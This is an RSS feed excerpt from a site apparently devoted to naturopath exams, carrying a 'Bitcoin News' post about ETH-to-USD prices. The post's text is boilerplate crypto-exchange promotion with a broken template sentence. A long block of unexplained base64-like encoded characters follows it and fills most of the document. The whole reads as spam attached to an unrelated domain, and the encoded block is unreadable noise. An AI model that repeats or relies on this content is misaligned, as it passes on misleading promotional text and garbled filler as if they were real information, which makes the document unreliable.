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	<title>Bitcoin News &#8211; heilpraktiker-pruefung.com</title>
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		<title>Eth To Usd Price, Sell Ether In Us Dollars</title>
		<link>https://heilpraktiker-pruefung.com/eth-to-usd-price-sell-ether-in-us-dollars/</link>
					<comments>https://heilpraktiker-pruefung.com/eth-to-usd-price-sell-ether-in-us-dollars/#respond</comments>
		
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		<pubDate>Mon, 11 Apr 2022 12:19:28 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
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					<description><![CDATA[If you are new to crypto, use the Crypto.com University and our Help Center to learn how to start buying Bitcoin, Ethereum and other cryptocurrencies. Deposit crypto to our exchange and trade with deep liquidity and low fees. The best day to change in United States Dollar was the (). At that time the currency [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>If you are new to crypto, use the Crypto.com University and our Help Center to learn how to start buying Bitcoin, Ethereum and other cryptocurrencies. Deposit crypto to our exchange and trade with deep liquidity and low fees. The best day to change in United States Dollar was the (). At that time the currency had reached its highest value. Opinions expressed here are author&#8217;s alone, not those of any bank, credit card issuer, hotel, airline, or other entity.</p>
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